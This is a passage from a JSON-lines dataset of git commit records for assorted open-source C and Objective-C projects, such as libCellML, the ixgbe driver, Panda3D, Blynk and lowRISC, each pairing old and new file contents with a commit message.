a\/rakudo,ab5tract\/rakudo,awwaiid\/rakudo,nbrown\/rakudo,skids\/rakudo,usev6\/rakudo,zostay\/rakudo,zhuomingliang\/rakudo,b2gills\/rakudo,MasterDuke17\/rakudo,raydiak\/rakudo,skids\/rakudo,lucasbuchala\/rakudo,Gnouc\/rakudo,dankogai\/rakudo,LLFourn\/rakudo,tbrowder\/rakudo,labster\/rakudo,azawawi\/rakudo,raydiak\/rakudo,softmoth\/rakudo,ugexe\/rakudo,ungrim97\/rakudo,tony-o\/rakudo,zostay\/rakudo,azawawi\/rakudo,ungrim97\/rakudo"}
{"commit":"a089ce29161267cca724bf76ad98602e90b30178","old_file":"tests\/test_utils.h","new_file":"tests\/test_utils.h","old_contents":"\/*\nCopyright libCellML Contributors\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*\/\n\n#pragma once\n\n#include <libcellml>\n\n#include \"test_exportdefinitions.h\"\n\nstd::string TEST_EXPORT resourcePath(const std::string &resourceRelativePath = \"\");\n\nstd::string TEST_EXPORT fileContents(const std::string &fileName);\n\nvoid TEST_EXPORT printErrors(const libcellml::Validator &v);\nvoid TEST_EXPORT printErrors(const libcellml::Parser &p);\nvoid TEST_EXPORT expectEqualErrors(const std::vector<std::string> &errors, const libcellml::Logger &logger);\n\nlibcellml::ModelPtr TEST_EXPORT createModel(const std::string &name = \"\");\nlibcellml::ModelPtr TEST_EXPORT createModelWithComponent(const std::string &name = \"\");\n\n#define EXPECT_EQ_ERRORS(errors, logger) SCOPED_TRACE(\"Error occured here\");expectEqualErrors(errors, logger)\n","new_contents":"\/*\nCopyright libCellML Contributors\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*\/\n\n#pragma once\n\n#include <libcellml>\n\n#include \"test_exportdefinitions.h\"\n\nstd::string TEST_EXPORT resourcePath(const std::string &resourceRelativePath = \"\");\n\nstd::string TEST_EXPORT fileContents(const std::string &fileName);\n\nvoid TEST_EXPORT printErrors(const libcellml::Validator &v);\nvoid TEST_EXPORT printErrors(const libcellml::Parser &p);\nvoid TEST_EXPORT expectEqualErrors(const std::vector<std::string> &errors, const libcellml::Logger &logger);\n\nlibcellml::ModelPtr TEST_EXPORT createModel(const std::string &name = \"\");\nlibcellml::ModelPtr TEST_EXPORT createModelWithComponent(const std::string &name = \"\");\n\n#define EXPECT_EQ_ERRORS(errors, logger) SCOPED_TRACE(\"Error occured here.\");expectEqualErrors(errors, logger)\n","subject":"Add fullstop for the pc crowd (punctually correct).","message":"Add fullstop for the pc crowd (punctually correct).\n","lang":"C","license":"apache-2.0","repos":"cellml\/libcellml,hsorby\/libcellml,nickerso\/libcellml,nickerso\/libcellml,cellml\/libcellml,nickerso\/libcellml,hsorby\/libcellml,cellml\/libcellml,cellml\/libcellml,MichaelClerx\/libcellml,hsorby\/libcellml,hsorby\/libcellml,MichaelClerx\/libcellml,MichaelClerx\/libcellml,nickerso\/libcellml"}
{"commit":"e92cbeac89d4c7b228894a9b8eb37e3ac51afe73","old_file":"drivers\/net\/ixgbe\/ixgbe_fcoe.h","new_file":"drivers\/net\/ixgbe\/ixgbe_fcoe.h","old_contents":"","new_contents":"\/*******************************************************************************\n\n  Intel 10 Gigabit PCI Express Linux driver\n  Copyright(c) 1999 - 2009 Intel Corporation.\n\n  This program is free software; you can redistribute it and\/or modify it\n  under the terms and conditions of the GNU General Public License,\n  version 2, as published by the Free Software Foundation.\n\n  This program is distributed in the hope it will be useful, but WITHOUT\n  ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or\n  FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License for\n  more details.\n\n  You should have received a copy of the GNU General Public License along with\n  this program; if not, write to the Free Software Foundation, Inc.,\n  51 Franklin St - Fifth Floor, Boston, MA 02110-1301 USA.\n\n  The full GNU General Public License is included in this distribution in\n  the file called \"COPYING\".\n\n  Contact Information:\n  e1000-devel Mailing List <e1000-devel@lists.sourceforge.net>\n  Intel Corporation, 5200 N.E. Elam Young Parkway, Hillsboro, OR 97124-6497\n\n*******************************************************************************\/\n\n#ifndef _IXGBE_FCOE_H\n#define _IXGBE_FCOE_H\n\n#include <scsi\/fc\/fc_fcoe.h>\n\n\/* shift bits within STAT fo FCSTAT *\/\n#define IXGBE_RXDADV_FCSTAT_SHIFT\t4\n\n\/* ddp user buffer *\/\n#define IXGBE_BUFFCNT_MAX\t256\t\/* 8 bits bufcnt *\/\n#define IXGBE_FCPTR_ALIGN\t16\n#define IXGBE_FCPTR_MAX\t(IXGBE_BUFFCNT_MAX * sizeof(dma_addr_t))\n#define IXGBE_FCBUFF_4KB\t0x0\n#define IXGBE_FCBUFF_8KB\t0x1\n#define IXGBE_FCBUFF_16KB\t0x2\n#define IXGBE_FCBUFF_64KB\t0x3\n#define IXGBE_FCBUFF_MAX\t65536\t\/* 64KB max *\/\n#define IXGBE_FCBUFF_MIN\t4096\t\/* 4KB min *\/\n#define IXGBE_FCOE_DDP_MAX\t512\t\/* 9 bits xid *\/\n\n\/* fcerr *\/\n#define IXGBE_FCERR_BADCRC       0x00100000\n\nstruct ixgbe_fcoe_ddp {\n\tint len;\n\tu32 err;\n\tunsigned int sgc;\n\tstruct scatterlist *sgl;\n\tdma_addr_t udp;\n\tunsigned long *udl;\n};\n\nstruct ixgbe_fcoe {\n\tspinlock_t lock;\n\tstruct pci_pool *pool;\n\tstruct ixgbe_fcoe_ddp ddp[IXGBE_FCOE_DDP_MAX];\n};\n\n#endif \/* _IXGBE_FCOE_H *\/\n","subject":"Add FCoE feature header to 82599","message":"ixgbe: Add FCoE feature header to 82599\n\nThis adds the FCoE feature header ixgbe_fcoe.h to 82599. This header includes\nthe defines and structures required by the ixgbe driver to support various\noffload features in 82599 for Fiber Channel over Ethernet (FCoE).  These offloads\nfeatures include Fiber Channel CRC calculation, FCoE SOF\/EOF auto insertion,\nFCoE Sequence Offload (FSO) for large send, and Direct Data Placement (DDP)\nfor large receive.\n\nSigned-off-by: Yi Zou <5b3a821cf7a153d601945bbe257e1150110342e4@intel.com>\nSigned-off-by: Jeff Kirsher <87e35f5be20bb3e67f4ba6b86f5f6be3085b1b3a@intel.com>\nSigned-off-by: David S. Miller <fe08d3c717adf2ae63592e4c9aec6e3e404d8e3e@davemloft.net>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs"}
{"commit":"7b731e9071b09adedb44d097a3ae7c04488e345c","old_file":"NSTimeZone+Offset.h","new_file":"NSTimeZone+Offset.h","old_contents":"\/\/\n\/\/  NSTimeZone+Offset.h\n\/\/  CocoaGit\n\/\/\n\/\/  Created by Geoffrey Garside on 28\/07\/2008.\n\/\/  Copyright 2008 ManicPanda.com. All rights reserved.\n\/\/\n\n#import <Foundation\/NSTimeZone.h>\n\n@interface NSTimeZone (Offset)\n\n+ (id)timeZoneWithStringOffset:(NSString*)offset;\n- (NSString*)offsetString;\n@end\n","new_contents":"\/\/\n\/\/  NSTimeZone+Offset.h\n\/\/  CocoaGit\n\/\/\n\/\/  Created by Geoffrey Garside on 28\/07\/2008.\n\/\/  Copyright 2008 ManicPanda.com. All rights reserved.\n\/\/\n\n#import <Foundation\/NSTimeZone.h>\n\n@interface NSTimeZone (Offset)\n\n\/*! Creates and returns a time zone with the specified offset.\n * The string is broken down into the hour and minute components\n * which are then used to work out the number of seconds from GMT.\n * \\param offset The timezone offset as a string such as \"+0100\"\n * \\return A time zone with the specified offset\n * \\see +timeZoneForSecondsFromGMT:\n *\/\n+ (id)timeZoneWithStringOffset:(NSString*)offset;\n\n\/*! Returns the receivers offset as an HHMM formatted string.\n * \\return The receivers offset as a string in HHMM format.\n *\/\n- (NSString*)offsetString;\n@end\n","subject":"Add documentation of the category methods on NSTimeZone","message":"Add documentation of the category methods on NSTimeZone\n","lang":"C","license":"mit","repos":"geoffgarside\/cocoagit,geoffgarside\/cocoagit,schacon\/cocoagit,schacon\/cocoagit"}
{"commit":"b2dcde40c7dc565e51210b1fd505a3f7368bec23","old_file":"panda\/src\/audio\/audio.h","new_file":"panda\/src\/audio\/audio.h","old_contents":"\/\/ Filename: audio.h\n\/\/ Created by:  frang (06Jul00)\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ PANDA 3D SOFTWARE\n\/\/ Copyright (c) Carnegie Mellon University.  All rights reserved.\n\/\/\n\/\/ All use of this software is subject to the terms of the revised BSD\n\/\/ license.  You should have received a copy of this license along\n\/\/ with this source code in a file named \"LICENSE.\"\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#ifndef __AUDIO_H__\n#define __AUDIO_H__\n\n#include \"filterProperties.h\"\n#include \"audioSound.h\"\n#include \"audioManager.h\"\n\n#endif \/* __AUDIO_H__ *\/\n","new_contents":"\/\/ Filename: audio.h\n\/\/ Created by:  frang (06Jul00)\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ PANDA 3D SOFTWARE\n\/\/ Copyright (c) Carnegie Mellon University.  All rights reserved.\n\/\/\n\/\/ All use of this software is subject to the terms of the revised BSD\n\/\/ license.  You should have received a copy of this license along\n\/\/ with this source code in a file named \"LICENSE.\"\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#ifndef __AUDIO_H__\n#define __AUDIO_H__\n\n#include \"filterProperties.h\"\n#include \"audioLoadRequest.h\"\n#include \"audioSound.h\"\n#include \"audioManager.h\"\n\n#endif \/* __AUDIO_H__ *\/\n","subject":"Apply patch by Josh Enes","message":"Apply patch by Josh Enes\n","lang":"C","license":"bsd-3-clause","repos":"mgracer48\/panda3d,Wilee999\/panda3d,brakhane\/panda3d,jjkoletar\/panda3d,jjkoletar\/panda3d,tobspr\/panda3d,jjkoletar\/panda3d,Wilee999\/panda3d,grimfang\/panda3d,brakhane\/panda3d,brakhane\/panda3d,tobspr\/panda3d,hj3938\/panda3d,matthiascy\/panda3d,brakhane\/panda3d,hj3938\/panda3d,jjkoletar\/panda3d,ee08b397\/panda3d,tobspr\/panda3d,matthiascy\/panda3d,chandler14362\/panda3d,mgracer48\/panda3d,ee08b397\/panda3d,Wilee999\/panda3d,matthiascy\/panda3d,brakhane\/panda3d,hj3938\/panda3d,matthiascy\/panda3d,chandler14362\/panda3d,hj3938\/panda3d,chandler14362\/panda3d,mgracer48\/panda3d,hj3938\/panda3d,matthiascy\/panda3d,Wilee999\/panda3d,grimfang\/panda3d,Wilee999\/panda3d,mgracer48\/panda3d,ee08b397\/panda3d,grimfang\/panda3d,grimfang\/panda3d,chandler14362\/panda3d,chandler14362\/panda3d,mgracer48\/panda3d,Wilee999\/panda3d,matthiascy\/panda3d,cc272309126\/panda3d,hj3938\/panda3d,ee08b397\/panda3d,chandler14362\/panda3d,brakhane\/panda3d,cc272309126\/panda3d,brakhane\/panda3d,tobspr\/panda3d,matthiascy\/panda3d,tobspr\/panda3d,grimfang\/panda3d,jjkoletar\/panda3d,mgracer48\/panda3d,jjkoletar\/panda3d,cc272309126\/panda3d,jjkoletar\/panda3d,tobspr\/panda3d,cc272309126\/panda3d,cc272309126\/panda3d,hj3938\/panda3d,hj3938\/panda3d,chandler14362\/panda3d,brakhane\/panda3d,mgracer48\/panda3d,grimfang\/panda3d,grimfang\/panda3d,ee08b397\/panda3d,tobspr\/panda3d,ee08b397\/panda3d,jjkoletar\/panda3d,cc272309126\/panda3d,tobspr\/panda3d,ee08b397\/panda3d,grimfang\/panda3d,grimfang\/panda3d,chandler14362\/panda3d,ee08b397\/panda3d,jjkoletar\/panda3d,tobspr\/panda3d,matthiascy\/panda3d,Wilee999\/panda3d,chandler14362\/panda3d,Wilee999\/panda3d,cc272309126\/panda3d,ee08b397\/panda3d,cc272309126\/panda3d,Wilee999\/panda3d,chandler14362\/panda3d,matthiascy\/panda3d,grimfang\/panda3d,tobspr\/panda3d,hj3938\/panda3d,mgracer48\/panda3d,brakhane\/panda3d,cc272309126\/panda3d,mgracer48\/panda3d"}
{"commit":"9cf087465ffee40dbe4657dc2e8ffeb63eeb53e9","old_file":"Synchronized\/ObjCSynchronized.h","new_file":"Synchronized\/ObjCSynchronized.h","old_contents":"\/\/ The MIT License (MIT)\n\/\/\n\/\/ Copyright (c) 2014-present James Ide\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\/\/ THE SOFTWARE.\n\nvoid objc_synchronized(id object, __attribute__((noescape)) void (^closure)());\n","new_contents":"\/\/ The MIT License (MIT)\n\/\/\n\/\/ Copyright (c) 2014-present James Ide\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\/\/ THE SOFTWARE.\n\n@import Foundation;\n\nNS_ASSUME_NONNULL_BEGIN\n\nvoid objc_synchronized(id object, __attribute__((noescape)) void (^closure)());\n\nNS_ASSUME_NONNULL_END\n","subject":"Use NS_ASSUME_NONNULL_BEGIN\/END macros in Obj-C header","message":"Use NS_ASSUME_NONNULL_BEGIN\/END macros in Obj-C header\n\nThe mutex object and block shouldn't be null. We could change the API to accept null but I don't think that's natural to do (and the Swift API forbids it anyway right now).\n","lang":"C","license":"mit","repos":"ide\/Synchronized,ide\/Synchronized"}
{"commit":"5560daf0cbabab65b07476ca16285012a4f6489e","old_file":"src\/util\/tmpfile.c","new_file":"src\/util\/tmpfile.c","old_contents":"#define _XOPEN_SOURCE 500 \/* mkstemp *\/\n#include <stdlib.h>\n#include <unistd.h>\n\n#include \"tmpfile.h\"\n#include \"alloc.h\"\n\nint tmpfile_prefix_out(const char *prefix, char **const fname)\n{\n\tchar *tmppath;\n\tint fd;\n\tchar *tmpdir = getenv(\"TMPDIR\");\n\n#ifdef P_tmpdir\n\tif(!tmpdir)\n\t\ttmpdir = P_tmpdir;\n#endif\n\tif(!tmpdir)\n\t\ttmpdir = \"\/tmp\";\n\n\ttmppath = ustrprintf(\"%s\/%sXXXXXX\", tmpdir, prefix);\n\tfd = mkstemp(tmppath);\n\n\tif(fd < 0){\n\t\tfree(tmppath);\n\t\ttmppath = NULL;\n\t}\n\n\tif(fname)\n\t\t*fname = tmppath;\n\telse\n\t\tfree(tmppath);\n\n\treturn fd;\n}\n","new_contents":"#define _XOPEN_SOURCE 500 \/* mkstemp *\/\n#include <stdlib.h>\n#include <unistd.h>\n\n#include \"tmpfile.h\"\n#include \"alloc.h\"\n\nint tmpfile_prefix_out(const char *prefix, char **const fname)\n{\n\tchar *tmppath;\n\tint fd;\n\tchar *tmpdir = getenv(\"TMPDIR\");\n\n#ifdef P_tmpdir\n\tif(!tmpdir)\n\t\ttmpdir = P_tmpdir;\n#endif\n\tif(!tmpdir)\n\t\ttmpdir = \"\/tmp\";\n\n\ttmppath = ustrprintf(\"%s\/%sXXXXXX\", tmpdir, prefix);\n\tfd = mkstemp(tmppath);\n\n\tif(fname)\n\t\t*fname = tmppath;\n\telse\n\t\tfree(tmppath);\n\n\treturn fd;\n}\n","subject":"Revert \"Free tmppath on mkstemp() failure\" (moved to master)","message":"Revert \"Free tmppath on mkstemp() failure\" (moved to master)\n\nThis reverts commit 85598a0ccbea2d82303c5cb2daa9a29ec01eb3d2.\n","lang":"C","license":"mit","repos":"bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler"}
{"commit":"dd54e6b9aded46da7a74eede6f935b289a979912","old_file":"WidgetTimeInput.h","new_file":"WidgetTimeInput.h","old_contents":"\/**\n * @file       WidgetTimeInput.h\n * @author     Volodymyr Shymanskyy\n * @license    This project is released under the MIT License (MIT)\n * @copyright  Copyright (c) 2015 Volodymyr Shymanskyy\n * @date       Aug 2016\n * @brief\n *\n *\/\n\n#ifndef WidgetTimeInput_h\n#define WidgetTimeInput_h\n\n#include <Blynk\/BlynkApi.h>\n#include <utility\/BlynkDateTime.h>\n\nclass TimeInputParam\n{\npublic:\n\n\tTimeInputParam(const BlynkParam& param)\n\t\t: mStart (param[0].asLong())\n\t\t, mStop  (param[1].asLong())\n\t{\n\t\tmTZ = param[2].asLong();\n\t}\n\n\tBlynkDateTime& getStart() { return mStart; }\n\tBlynkDateTime& getStop()  { return mStop;  }\n    long getTZ()  const { return mTZ; }\n\nprivate:\n    BlynkDateTime mStart;\n    BlynkDateTime mStop;\n    long mTZ;\n};\n\n#endif\n","new_contents":"\/**\n * @file       WidgetTimeInput.h\n * @author     Volodymyr Shymanskyy\n * @license    This project is released under the MIT License (MIT)\n * @copyright  Copyright (c) 2015 Volodymyr Shymanskyy\n * @date       Aug 2016\n * @brief\n *\n *\/\n\n#ifndef WidgetTimeInput_h\n#define WidgetTimeInput_h\n\n#include <Blynk\/BlynkApi.h>\n#include <utility\/BlynkDateTime.h>\n\nclass TimeInputParam\n{\npublic:\n\n\tTimeInputParam(const BlynkParam& param)\n\t{\n\t\tif (strlen(param[0].asStr())) {\n\t\t\tmStart = param[0].asLong();\n\t\t}\n\t\tif (strlen(param[1].asStr())) {\n\t\t\tmStop = param[1].asLong();\n\t\t}\n\t\tmTZ = param[2].asLong();\n\t}\n\n\tBlynkTime& getStart() { return mStart; }\n\tBlynkTime& getStop()  { return mStop;  }\n    long getTZ()  const { return mTZ; }\n\nprivate:\n    BlynkTime mStart;\n    BlynkTime mStop;\n    long mTZ;\n};\n\n#endif\n","subject":"Switch to Time instead of DateTime","message":"Switch to Time instead of DateTime\n","lang":"C","license":"mit","repos":"ivankravets\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library"}
{"commit":"c078961dce97d0126188b1d3df96f9af8fd2f00f","old_file":"projects\/com.oracle.truffle.llvm.test\/tests\/c\/truffle-c\/inlineTest\/inline0.c","new_file":"projects\/com.oracle.truffle.llvm.test\/tests\/c\/truffle-c\/inlineTest\/inline0.c","old_contents":"int foo(int a, int b, int c) {\n  int arr[5] = { 1, 2, 3, 4, 5 };\n  int d = 4;\n  int *p = &d;\n  return a + b + c + arr[4] + arr[0] + *p;\n}\n\nint main() {\n  int a, b, c;\n  a = 2;\n  b = 1;\n  c = 3;\n  int d = 4;\n  int *p = &d;\n  int i;\n  for (i = 0; i < 1234567; i++) {\n    *p = foo(a, b, c);\n  }\n  return *p;\n}\n","new_contents":"int foo(int a, int b, int c) {\n  int arr[5] = { 1, 2, 3, 4, 5 };\n  int d = 4;\n  int *p = &d;\n  return a + b + c + arr[4] + arr[0] + *p;\n}\n\nint main() {\n  int a, b, c;\n  a = 2;\n  b = 1;\n  c = 3;\n  int d = 4;\n  int *p = &d;\n  int i;\n  for (i = 0; i < 12345; i++) {\n    *p = foo(a, b, c);\n  }\n  return *p;\n}\n","subject":"Reduce the loop iteration count in test case to reduce the execution time","message":"Reduce the loop iteration count in test case to reduce the execution time\n","lang":"C","license":"bsd-3-clause","repos":"crbb\/sulong,PrinzKatharina\/sulong,lxp\/sulong,lxp\/sulong,PrinzKatharina\/sulong,PrinzKatharina\/sulong,crbb\/sulong,PrinzKatharina\/sulong,crbb\/sulong,crbb\/sulong,lxp\/sulong,lxp\/sulong"}
{"commit":"faa2c3b0b4ff1b4d90d897aa15b90b58ce4bdbb6","old_file":"Classes\/LVTFolder.h","new_file":"Classes\/LVTFolder.h","old_contents":"\/\/\n\/\/  LVTFolder.h\n\/\/  LayerVaultAPIClient\n\/\/\n\/\/  Created by Matt Thomas on 12\/4\/13.\n\/\/  Copyright (c) 2013 codecaffeine. All rights reserved.\n\/\/\n\n#import <Mantle\/Mantle.h>\n#import \"LVTColor.h\"\n\n@interface LVTFolder : MTLModel <MTLJSONSerializing>\n\n@property (readonly, nonatomic, copy) NSString *name;\n@property (nonatomic) LVTColorLabel colorLabel;\n@property (readonly, nonatomic, copy) NSString *path;\n@property (readonly, nonatomic, copy) NSURL *fileURL;\n@property (readonly, nonatomic) NSDate *dateUpdated;\n@property (readonly, nonatomic) NSDate *dateDeleted;\n@property (readonly, nonatomic, copy) NSString *md5;\n@property (readonly, nonatomic, copy) NSURL *url;\n@property (readonly, nonatomic, copy) NSURL *shortURL;\n@property (readonly, nonatomic, copy) NSString *organizationPermalink;\n@property (readonly, nonatomic, copy) NSArray *folders;\n@property (readonly, nonatomic, copy) NSArray *files;\n\n@end\n","new_contents":"\/\/\n\/\/  LVTFolder.h\n\/\/  LayerVaultAPIClient\n\/\/\n\/\/  Created by Matt Thomas on 12\/4\/13.\n\/\/  Copyright (c) 2013 codecaffeine. All rights reserved.\n\/\/\n\n#import <Mantle\/Mantle.h>\n#import \"LVTColor.h\"\n\n@interface LVTFolder : MTLModel <MTLJSONSerializing>\n\n@property (readonly, nonatomic, copy) NSString *name;\n@property (nonatomic) LVTColorLabel colorLabel;\n@property (readonly, nonatomic, copy) NSString *path;\n@property (readonly, nonatomic, copy) NSURL *fileURL;\n@property (nonatomic) NSDate *dateUpdated;\n@property (readonly, nonatomic) NSDate *dateDeleted;\n@property (readonly, nonatomic, copy) NSString *md5;\n@property (readonly, nonatomic, copy) NSURL *url;\n@property (readonly, nonatomic, copy) NSURL *shortURL;\n@property (readonly, nonatomic, copy) NSString *organizationPermalink;\n@property (readonly, nonatomic, copy) NSArray *folders;\n@property (readonly, nonatomic, copy) NSArray *files;\n\n@end\n","subject":"Allow us to edit this","message":"Allow us to edit this","lang":"C","license":"mit","repos":"layervault\/LayerVaultAPI.objc"}
{"commit":"9576c668aea5e0008311950e32c5d03fe496582e","old_file":"libqiprog\/include\/qiprog_usb.h","new_file":"libqiprog\/include\/qiprog_usb.h","old_contents":"","new_contents":"\/*\n * qiprog - Reference implementation of the QiProg protocol\n *\n * Copyright (C) 2013 Alexandru Gagniuc <mr.nuke.me@gmail.com>\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\/\n\n#ifndef __QIPROG_USB_H\n#define __QIPROG_USB_H\n\n#include <qiprog.h>\n\n\/**\n * @brief QiProg USB control request types for Control transfers\n *\n * @note\n * Note that all values transferred over the bus, including those in wValue,\n * wIndex and wLength fields, are LE coded! (The host side API likely translates\n * wLength automatically if necessary, but maybe not wValue and wIndex, and\n * certainly not the data. Check that your bytes are not swapped.)\n *\/\nenum qiprog_usb_ctrl_req_type {\n\tQIPROG_GET_CAPABILITIES = 0x00,\n\tQIPROG_SET_BUS = 0x01,\n\tQIPROG_SET_CLOCK = 0x02,\n\tQIPROG_READ_DEVICE_ID = 0x03,\n\tQIPROG_SET_ADDRESS = 0x04,\n\tQIPROG_SET_ERASE_SIZE = 0x05,\n\tQIPROG_SET_ERASE_COMMAND = 0x06,\n\tQIPROG_SET_WRITE_COMMAND = 0x07,\n\tQIPROG_SET_SPI_TIMING = 0x20,\n\tQIPROG_READ8 = 0x30,\n\tQIPROG_READ16 = 0x31,\n\tQIPROG_READ32 = 0x32,\n\tQIPROG_WRITE8 = 0x33,\n\tQIPROG_WRITE16 = 0x34,\n\tQIPROG_WRITE32 = 0x35,\n\tQIPROG_SET_VDD = 0xf0,\n};\n\n#endif\t\t\t\t\/* __QIPROG_USB_H *\/\n","subject":"Add USB control request definitions","message":"Add USB control request definitions\n\nAdd definitions for the bRequest values in QiProg USB control transactions.\n\nSigned-off-by: Alexandru Gagniuc <cf8ce030f4bdd6ce49a1b687c7c3ccfa8b34ced2@gmail.com>\n","lang":"C","license":"mit","repos":"mrnuke\/qiprog"}
{"commit":"ad83a4669be1681f314f54eee728d69543f9caa4","old_file":"sw\/device\/lib\/dif\/dif_pinmux.c","new_file":"sw\/device\/lib\/dif\/dif_pinmux.c","old_contents":"\/\/ Copyright lowRISC contributors.\n\/\/ Licensed under the Apache License, Version 2.0, see LICENSE for details.\n\/\/ SPDX-License-Identifier: Apache-2.0\n\n#include \"sw\/device\/lib\/dif\/dif_pinmux.h\"\n\n#include \"sw\/device\/lib\/dif\/dif_base.h\"\n\n#include \"pinmux_regs.h\"  \/\/ Generated.\n\n\/\/ This just exists to check that the header compiles for now. The actual\n\/\/ implementation is work in progress.\n","new_contents":"\/\/ Copyright lowRISC contributors.\n\/\/ Licensed under the Apache License, Version 2.0, see LICENSE for details.\n\/\/ SPDX-License-Identifier: Apache-2.0\n\n#include \"sw\/device\/lib\/dif\/dif_pinmux.h\"\n\n#include \"sw\/device\/lib\/base\/bitfield.h\"\n#include \"sw\/device\/lib\/dif\/dif_base.h\"\n\n#include \"pinmux_regs.h\"  \/\/ Generated.\n\n\/\/ This just exists to check that the header compiles for now. The actual\n\/\/ implementation is work in progress.\n\nOT_WARN_UNUSED_RESULT\ndif_result_t dif_pinmux_input_select(const dif_pinmux_t *pinmux,\n                                     dif_pinmux_index_t 